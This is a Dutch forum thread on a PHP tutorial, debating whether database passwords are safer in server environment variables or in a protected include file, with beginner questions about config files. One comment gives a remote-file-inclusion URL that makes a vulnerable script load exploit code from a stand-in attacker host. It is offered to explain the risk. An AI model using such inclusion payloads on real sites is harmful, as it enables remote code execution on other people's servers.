Veilig opslaan database wachtwoorden
Haal je database wachtwoord binnen met $_SERVER['db_pass']; ipv include('dbvars.php');
Gesponsorde koppelingen
Inhoudsopgave
34 reacties op 'Veilig opslaan database wachtwoorden'
Gesponsorde koppelingen
Aangezien de meeste mensen deze access alleen lokaal hebben, en niet voor hun site, is dit vrij nutteloos.
En dan blijft de vraag, hoe stom ben je las iemand je password uit kan lezen?
Het openen van een php file op afstand gaat niet zonder dat deze geparsed wordt, dus iemand is dan al in bijv. je ftp ...
En dan blijft de vraag, hoe stom ben je las iemand je password uit kan lezen?
Het openen van een php file op afstand gaat niet zonder dat deze geparsed wordt, dus iemand is dan al in bijv. je ftp ...
Of iemand is zo stom om zijn includefile .PHP als extensie te geven, in hoofdletters. Dan wordt het niet geparsed.
(ben het 1 keer bij iemand tegen gekomen, hij zei natuurlijk dat het een oud wachtwoord was, dat niet meer gebruikt werd. Maar daarnaa zag je overal op zijn site dat het wachtwoord niet meer klopte, en de scripts geen verbinding meer konden maken met de db. ^^,)
(ben het 1 keer bij iemand tegen gekomen, hij zei natuurlijk dat het een oud wachtwoord was, dat niet meer gebruikt werd. Maar daarnaa zag je overal op zijn site dat het wachtwoord niet meer klopte, en de scripts geen verbinding meer konden maken met de db. ^^,)
@X-Ray:
Ja, als je host zo slecht is geconfigureerd dan heb je idd een verkeerde host genomen, zonder twijfel!
Waarom zou je SetEnv w?l in je httpd.conf zetten? Op deze manier houd je je wachtwoorden gescheide van de rest van de code.
En je vind het nutteloos? Het doel lijkt me duidelijk; Het veilig opslaan van je database wachtwoorden!
Ja, als je host zo slecht is geconfigureerd dan heb je idd een verkeerde host genomen, zonder twijfel!
Waarom zou je SetEnv w?l in je httpd.conf zetten? Op deze manier houd je je wachtwoorden gescheide van de rest van de code.
En je vind het nutteloos? Het doel lijkt me duidelijk; Het veilig opslaan van je database wachtwoorden!
Hoezo lek?
Anders kan je toch ook gewoon doen?
Ben je wel heel onnozel als je dat doet :D
Het ging ook om het veilig opslaan, de plaats waar je je wachtwoord nu hebt opgeslagen is veilig... gewoon niet te benaderen vanaf het web.
Je moet alleen wel opletten met het gebruik van print_r($_SERVER); en phpinfo();.
Hierbij geef je niet aan dat je je wachtwoord wilt weergeven, maar word dat wel gedaan!
Anders kan je toch ook gewoon doen?
Ben je wel heel onnozel als je dat doet :D
Het ging ook om het veilig opslaan, de plaats waar je je wachtwoord nu hebt opgeslagen is veilig... gewoon niet te benaderen vanaf het web.
Je moet alleen wel opletten met het gebruik van print_r($_SERVER); en phpinfo();.
Hierbij geef je niet aan dat je je wachtwoord wilt weergeven, maar word dat wel gedaan!
"En je vind het nutteloos? Het doel lijkt me duidelijk; Het veilig opslaan van je database wachtwoorden!"
als je het gewoon in een .php bestand (of .inc of iets anders, zolang het maar geparsed wordt) is het al veilig opgeslagen.
Je moet dan alleen veilig _omgaan_ met die variabelen en het bestand waarin ze staan.
Men heeft dus meer aan een tut over allerlei beveiligingslekken en hoe deze op te lossen/tegen te gaan dan aan dit soort onnozele dingen.
als je het gewoon in een .php bestand (of .inc of iets anders, zolang het maar geparsed wordt) is het al veilig opgeslagen.
Je moet dan alleen veilig _omgaan_ met die variabelen en het bestand waarin ze staan.
Men heeft dus meer aan een tut over allerlei beveiligingslekken en hoe deze op te lossen/tegen te gaan dan aan dit soort onnozele dingen.
Dit is alleen nuttig als je 1 database op 1 hele server gebruikt, verder niet. Ik zou inderdaad het wachtwoord uberhaubt nooit in een .inc-bestand opslaan, maar in een bestand die eindigt op .php. Vervolgens zet ik dat bestand sowieso in een niet-webaccessible directory. Dit laatste is bijna altijd wel mogelijk, zelfs bij servers waar je maar een beperkte toegang hebt (zoals bij virtual hosting)
Quote:
Het nadeel hiervan is, helemaal als je meer beveiliginslekken in je website hebt, dat de onbevoegden deze pagina kunnen benaderen en op slimme wijze je wachtwoord kunnen achterhalen.
Geval 1:
Benodigd voor toegang wachtwoord: Leesrechten over dbvars.php
Geval 2:
Benodigd voor toegang wachtwoord: Wachtwoord toegankelijk voor elk script
Is dit een security-through-obscurity-geval? (veiligheid door obscure methoden?)
Mijn punt:
Dit gaat helemaal nergens over. Dit is het van de regen in de drup helpen van mensen
Ik zie namelijk totaal niet in waarom dit veiliger is dan het eerste geval. In plaats van dat het op ??n controleerbare plaats staat, geef je je wachtwoord gratis weg aan ELK script wat door de webserver wordt uitgevoerd, of toegang tot de Enviroment variabelen van de server heeft.
Ik kies uit veiligheidsoogpunt zeker voor de eerste optie. Ik wil dit aan iedereen van harte afraden.
In geval van de slecht beveligde server kan men altijd nog (fread of include zonder controle waar het heengaat):
file.php?pagian=http://slechteevilgast.nl/exploit.php
Het punt is namelijk helemaal niet WAAR je je db wachtwoorden opslaat. Maar dat je gaten hebt waardoor de configuratiefiles te lezen zijn. En op het moment dat een evil gast de mogelijkheid heeft tot het uitvoeren van script is het einde zowiezo zoek.
Ik ben het met Arend eens. Liever je wachtwoorden op een gecontroleerde plaats dan onbeperkt en overal aan te roepen.
Nog een klein tipje: Je kan zelfs door de functie "defined" toegang van php-bestanden tot het wachtwoord-file beperken.
Denk aan:
Nog een klein tipje: Je kan zelfs door de functie "defined" toegang van php-bestanden tot het wachtwoord-file beperken.
Denk aan:
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
<?
if (!defined("JouwDefineVariable")) {
// print mededeling naar scherm
print "Error, this ip ".$_SERVER[REMOTE_ADDR]." has been recorded on page:
".$_SERVER['PHP_SELF'];
// hieronder vervolgens een mail- of database-functie die vastlegt wat er is
// gebeurt en de webmaster waarschuwt.
// en exit
exit;
}
?>
if (!defined("JouwDefineVariable")) {
// print mededeling naar scherm
print "Error, this ip ".$_SERVER[REMOTE_ADDR]." has been recorded on page:
".$_SERVER['PHP_SELF'];
// hieronder vervolgens een mail- of database-functie die vastlegt wat er is
// gebeurt en de webmaster waarschuwt.
// en exit
exit;
}
?>
Natuurlijk slaat niemand z'n database wachtwoorden in een .inc bestand op, maar degene die dit login script gebruiken zitten al met het probleem!
http://www.phphulp.nl/php/tutorials/2/167/309/
De wat meer gevorderde zal het misschien aanpassen, maar een beginner neemt het kwakkeloos over...
http://www.phphulp.nl/php/tutorials/2/167/309/
De wat meer gevorderde zal het misschien aanpassen, maar een beginner neemt het kwakkeloos over...
De gevorderde lapini bouwd er ook lekker op door!
http://www.phphulp.nl/php/scripts/3/367/
Ik zal nog even naar wat meer scripts zoeken hier die db passwords opslaan in een .inc bestand...
http://www.phphulp.nl/php/scripts/3/367/
Ik zal nog even naar wat meer scripts zoeken hier die db passwords opslaan in een .inc bestand...
http://www.w3schools.com/css/css_mediatypes.asp
En dan zou je in het print-stylesheet kunnen zetten dat alles wordt verborgen.
Maar zoals altijd, voor de wt meer gevorderde gebruiker, als hij het wil printen, dan zal hem dat zeker ook (misschien met wat meer moeite) lukken.
En dan zou je in het print-stylesheet kunnen zetten dat alles wordt verborgen.
Maar zoals altijd, voor de wt meer gevorderde gebruiker, als hij het wil printen, dan zal hem dat zeker ook (misschien met wat meer moeite) lukken.
Hoi,
Tuts over beveiligingen vind ik altijd leuk, vb;
** dbvars.inc **
--> Het nadeel hiervan is, helemaal als je meer beveiliginslekken in je website hebt, dat de onbevoegden deze pagina kunnen benaderen en op slimme wijze je wachtwoord kunnen achterhalen.
Maar wat ik telkens mis is 'HOE' een ander deze variabelen kan oproepen. Niet dat ik op zoek ben naar methodes om dit te doen.
Maar als we als beginner weten hoe dit gedaan wordt, dan kunnen we er in het vervolg mee rekening houden. Of heb ik het mis?
grtz
Tuts over beveiligingen vind ik altijd leuk, vb;
** dbvars.inc **
--> Het nadeel hiervan is, helemaal als je meer beveiliginslekken in je website hebt, dat de onbevoegden deze pagina kunnen benaderen en op slimme wijze je wachtwoord kunnen achterhalen.
Maar wat ik telkens mis is 'HOE' een ander deze variabelen kan oproepen. Niet dat ik op zoek ben naar methodes om dit te doen.
Maar als we als beginner weten hoe dit gedaan wordt, dan kunnen we er in het vervolg mee rekening houden. Of heb ik het mis?
grtz
Marinka schreef op 21.09.2005 00:07
tumbler -> INDERDAAD! Hoe doen ze dat dan. Ik ben altijd uren bezig om alles dicht te bouwen, maar heb geen idee hoe ze eigenlijk naar binnen komen.
Kijk hier eens rond en speel beide levels uit misschien krijg je dan een idee
http://quiz.ngsec.com/
tumbler -> INDERDAAD! Hoe doen ze dat dan. Ik ben altijd uren bezig om alles dicht te bouwen, maar heb geen idee hoe ze eigenlijk naar binnen komen.
Kijk hier eens rond en speel beide levels uit misschien krijg je dan een idee
http://quiz.ngsec.com/
Hallo,
Ik ben nog vrij nieuw met het beveiligen van dit soort zaken en vroeg me het volgende af. Ik heb mijn wachtwoorden opgeslagen in een bestand "config.php" dat op bijna elke pagina geinclude word. Is dit dan niet veilig ?? en zo nee welke stappen kan ik dan het beste ondernemen om deze gegevens het beste te beveiligen ??
gr
Ik ben nog vrij nieuw met het beveiligen van dit soort zaken en vroeg me het volgende af. Ik heb mijn wachtwoorden opgeslagen in een bestand "config.php" dat op bijna elke pagina geinclude word. Is dit dan niet veilig ?? en zo nee welke stappen kan ik dan het beste ondernemen om deze gegevens het beste te beveiligen ??
gr
sorry!!! maar hebben jullie de scripts en tutotials hier op de site al eens goed bekeken? ik wel, en dan nog niet eens allemaal, maar die ik gezien heb is toch zeker 25 a 30% niet in orde, want daar zag ik heel vaak soortgelijke connects het script staan inplaats van include ("config of connect");
$server = "localhost"; // je host
$gebruiker = ".."; // gebruikersnaam
$wachtwoord = ".."; // je wachtwoord
$database = ".."; // je database
mysql_connect($server, $gebruiker, $wachtwoord) or die (mysql_error());
mysql_select_db($database) or die (mysql_error());
$server = "localhost"; // je host
$gebruiker = ".."; // gebruikersnaam
$wachtwoord = ".."; // je wachtwoord
$database = ".."; // je database
mysql_connect($server, $gebruiker, $wachtwoord) or die (mysql_error());
mysql_select_db($database) or die (mysql_error());
Om te reageren heb je een account nodig en je moet ingelogd zijn.
- Details
Door:
Bienze onbekend- 9 jaar geleden
- 1.054 x bekeken
- Labels
- Geen tags toegevoegd.
- PHP tutorials opties
- Beveiliging
- Nieuwste PHP tutorials
- PHP tutorial toevoegen


PHP hulp
0 seconden vanaf nu